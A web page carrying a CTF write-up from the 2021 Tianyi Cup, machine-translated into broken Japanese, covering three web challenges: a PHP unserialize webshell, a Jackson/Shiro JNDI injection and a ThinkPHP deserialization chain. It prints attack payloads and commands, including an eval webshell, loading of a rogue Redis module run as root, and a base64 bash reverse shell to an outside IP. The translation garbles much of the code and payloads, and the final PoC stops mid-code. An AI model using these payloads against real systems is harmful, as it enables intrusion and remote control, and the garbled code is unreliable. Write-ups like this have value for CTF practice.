Jump to content

web

1.ESAY_EVAL

?PHPクラスA {public $ code=''; function __call($ method、$ args){eval($ this-code); } function __wakeup(){$ this-code=''; }} class b {function __destruct(){echo $ this-a-a(); }} if(isset($ _ request ['poc'])){preg_match_all( '/' [ba] ':(。*?):/s'、$ _ request ['poc']、$ ret); if(isset($ ret [1])){foreach($ ret [1] as $ i){if(intval($ i)!==1){exit( 'wake wakeup?no!'); }} unserialize($ _ request ['poc']); }} else {highlight_file(__ file__); }

簡単な分析は、__wakeup関数をバイパスすることができます。

機能に関するこの記事を読むpreg_match_all php preg_match_all()関数の紹介と使用法-feiniao muyuブログ(feiniaomy.com)

最後に、$ ret [1]の2つの変数を1に等しくする必要があります。なぜなら、intval($ i)!==1の制限があるため(これはバイパスする場合は問題ありません。なぜなら、PHPの変数名はケースに敏感であり、機能名、メソッド名、およびクラス名はケースに敏感ではないため)。ウェイクアップをバイパスするために1つを出すだけです。

ペイロードを構築します

?php

クラスA {

public $ code='';

パブリック関数__construct(){

$ this-code='eval(\ $ _ post [1]);';

}

}

クラスB {

パブリック関数__construct(){

$ this-a=new a();

}

}

Echo Serialize(new B());

$は、シリアル化が実行されるときに実行されることを恐れているため、その前に追加されます。

1049983-20211224170339728-1967965652.jpg GET O:1:'B':1: {s:13360'a '; o:1:'a': 1: {s:43360'code '; s:193360'eval($ _ request [1]);';}}、 Aを小文字に変更すると、次の番号を変更してバイパスできますO:1:'B':1: {s:13360'a '; o:1:'a': 2: {s:43360'code '; s:193360'eval($ _ request [1]);';}}、アリの剣を接続してシェルを取得します

コード監査、直接脱力化は、テンテイジャンを構築します

1049983-20211224170340216-581797451.jpg

小文字オブジェクトAバイパス

ペイロード

?poc=o:1:'b':1: {s33601:'a '; o:1:'a'3 33602: {s:4:'code '; s:16:'eval($ _ post [0]);';}}}} Ant Sword Connectionは、disable_functionがあることを発見しました。アリの剣によって持ち込まれたバイパスを試してみて、ウェブサイトのルートディレクトリにconfig.php.swp vi-rがあることがわかりました。 Redisパスワードはそうであることがわかりました

github上のredis rceを備えた悪意のあるSOファイルをTMPディレクトリにアップロードし、悪意のあるモジュールRCEをANT Sword Redisプラグインでロードする

1049983-20211224170340691-681623030.png

Redisは悪意のある負荷を負うので、シェルを取得します

Ant Swordは構成を見つけて復元しました

1049983-20211224170341050-13255766.png

それをダウンロードしてLinuxに投げてVIで復元します

VI -R config.php

1049983-20211224170341416-1081333836.jpg

このRedisパスワードは偽造すぎるように見えますが、それは本当です。 Ant SwordのRedisプラグインを使用して接続します

1049983-20211224170341920-1119731240.png

それから私はレディスを打った。 phpinfoにopen_basedirがあることがわかりました。まだ使用できるTMPがあるので、悪意を持ってアップロードしますので

1049983-20211224170342306-189304732.pnghttps://github.com/dliv3/redis-rogue-server

アリの剣を直接使用します

1049983-20211224170342685-131854183.png

Redisプラグインを使用してRedisを接続します

127.0.0.1:6379モジュールLoad /tmp/exppadding.so

わかりました

127.0.0.133606379 System.exec 'id'

'uid=0(root)gid=0(root)グループ=0(root)\ n

1049983-20211224170343111-1023030855.jpg添付のローカル環境」:

ubuntu:16.04から

src/sources.list /etc/apt/sources.listcopy src/redis-4.0.9 /home/redis-4.0.9をコピーします

Apt-Getアップデート\ Apt-Getインストール-Y Curl \ Software-Properties-Common \ Python3-Software-Properties \ python-software-properties \ unzip \ vim

apt -get install -y apache2runサービスapache2再起動を実行します

locale -arunエクスポートLang=C.UTF-8 \ Add-Apt-Repository PPA:ONDREJ/PHP \ APT-GETアップデート

apt -getインストールを実行します-y libapache2-mod-php7.0 \ libzend-framework-php \ php7.0-cli \ php7.0 \ php7.0-bcmath \ php7.0-bz2 \ php7.0-cgi \ php7.0-common \ php7。 0-fpm \ php7.0-gmp \ php-http \ php-imagick \ php7.0-intl \ php7.0-json \ php7.0-mbstring \ php-memcache \ php-memcached \ php7.0-mysql \ \ php7.0-recode \ php7.0-gd \ php7.0-mcrypt \ php7.0-xml \ php7.0-pdo \ php7.0-opcache \ php7.0-curl \ php7.0-zip

apt install -y gcc \ makeを実行します

Cd /home/redis-4.0.9 \ cp -r /home/redis-4.0.9/usr/local/redis \ cd/usr/usr/redis \ make prefix=/usr/local/redisインストール\ export redis_home=/usr/local/redis \ export path=$ path33: $ redis_home/bin/bin/bin

src/tmp/srcrun mv /tmp/src/web.ini /etc/php/7.0/apache2/conf.d/php.ini \ rm -rf/var/www/html \ mv/tmp/src/html/var/www/html \ mv/htmp//start.sh \ chmod +x /start.sh

80を公開します

cmd ['/start.sh']

その中で、web.iniはphpの構成ファイルであり、disable_functionなどに設定できます。

2.Jackson

元のタイトルについては話しません

https://www.redmango.top/article/61#javaweb

まず、タイトルで与えられたpom.xmlを見てください

Shiro1.5.1、CC3.2.1タイトルはジャクソンです

その後、アクセスルートをバイパスし、ジャクソンを介してCCチェーンを脱上することはシロの検証である必要があります

ログインする必要があるJSONルートがあることがわかりました。

1049983-20211224170343802-297338680.jpgその後、ツールに直接移動します:https://github.com/welk1n/jndi-injection-exploit

Java -jar Jndi-injection-exploit-1.0-snapshot-all.jar -a '47 .100.27.114 '-C' Bash -C {echo、ymfzacatasa+jiavzgv2l3rjcc80ny4xmdaumjcumte0lzgwodggmd4mmq==} | {base64、-d} | {bash、-i} 'またはPOM.xmlでフレームワークバージョンをご覧ください。

1049983-20211224170344366-502955647.jpg 2021第二届“天翼杯”网络安全攻防大赛 Writeup by X1cT34m-小绿草信息安全实验室

ジャクソン脱介入+ JNDIインジェクション + LDAPリターンシリアル化データトリガーローカルガジェットバイパスJDK 8U_191リミット4

post/;/json http/1.1

HOST: 8.134.37.86:20947

user-agent: mozilla/5.0(windows nt 10.0; win64; x64; rv336092.0)gecko/20100101 firefox/92.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Webp、*/*; Q=0.8

Accept-Language: ZH-CN、ZH; Q=0.8、ZH-TW; Q=0.7、ZH-HK; Q=0.5、EN-US; Q=0.3、EN; Q=0.2

Connection:閉じます

アップグレード-Insecure-Requests: 1

Cache-Control: Max-age=0

Content-Type:アプリケーション/JSON

Content-Length: 97

['ch.qos.logback.core.db.jndiconnectionSource'、{'jndilocation ':'ldap: //106.15.250.20.209:8091/a

紀元前'}]

1049983-20211224170345373-1153092748.jpgNCがリバウンドしました、ルートディレクトリにフラグを取得するだけです

1049983-20211224170345764-511421506.jpg

3.eztp

robots.txtを介してwww.zipソースコードを入手してください:

1049983-20211224170346158-861591018.jpg

1049983-20211224170346533-592200662.jpg

ディレクトリ構造:

1049983-20211224170346908-160724702.jpg

明らかなTPフレームワークが表示され、取得されます:5.0.10

当初、私はTPフレームワークのRCEを試しましたが、それは実りがありませんでした。だからあきらめます

次に、コントローラーにインデックスと管理者があることを確認します。

管理者コントローラー:

1049983-20211224170347332-929303291.jpg

インデックスコントローラー:

1049983-20211224170347750-1545368266.jpg

問題はないようです。

ただし、Admin Controllerのアップロードおよび列ディレクトリ操作にAdminにログインする必要があることがわかります。

したがって、それは注入する必要があり、バイドゥは検索しました

このバージョンのTPフレームワークインジェクション:https://www.cnblogs.com/wangtanzhi/p/12734685.html

ログイン管理アカウントを注入:

1049983-20211224170348174-1770961135.jpg

次に、管理者コントローラーのリストディールを確認すると、IS_DIR関数がPHARの脱必要異化をトリガーできることがわかります。

参照:https://www.anquanke.com/post/id/251318#h2-1

ただし、上記のPOCを使用することは、インターネット上のPOCから利用できないことがわかります。

私はローカル環境をデバッグしましたが、それを見つけました:

process.php閉じる方法:

1049983-20211224170348643-86495486.jpg

元のTPフレームワークとは異なり、IFはフィルターに追加されます。なぜなら、元のHasManyクラスには緊密な方法がないため、$ ThisProcesspipes-Close()メソッドを呼び出すことは不可能であるため、次の脱3s化および書き込みファイルRCEは不可能であるため、インターネット上のPOCは無意味になります。

今やらなければならないことは、緊密な方法を持つクラスが必要であり、内部的にはメンバー変数の緊密な方法を呼び出す必要があります。

これにより、フィルタリングをバイパスすることができ、脱介入を継続できます。

ここで私はMemcacheクラスを見つけました、

1049983-20211224170349045-894237468.jpg

元のチェーンを$ thishandler変数に接続するだけで、それを脱上化し続けることができます。

しかし、デバッグを通して:

1049983-20211224170349452-68844655.jpg

このパスパスは、書いた後には見つかりません。そこで、私はそれを絶対的なパスに変更して、パブリックディレクトリに書きました

POC:の脱気面化

?phpnamespace think; shink \ session \ driver \ memcache; class process {private $ processpipes;

プライベート$ステータス;

プライベート$ ProcessInformation; public function __construct(){$ this-processinformation ['running']=true; $ this-status=3; $ thisprocesspipes=(new Memcache(1)); }

} namespace think; class model {

} namespace think \ model;

Think \ Model;クラスマージ拡張モデル{public $ a='1';を使用します。 public function __construct(){}} namespace think \ model \ relation; shinkを使用します

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...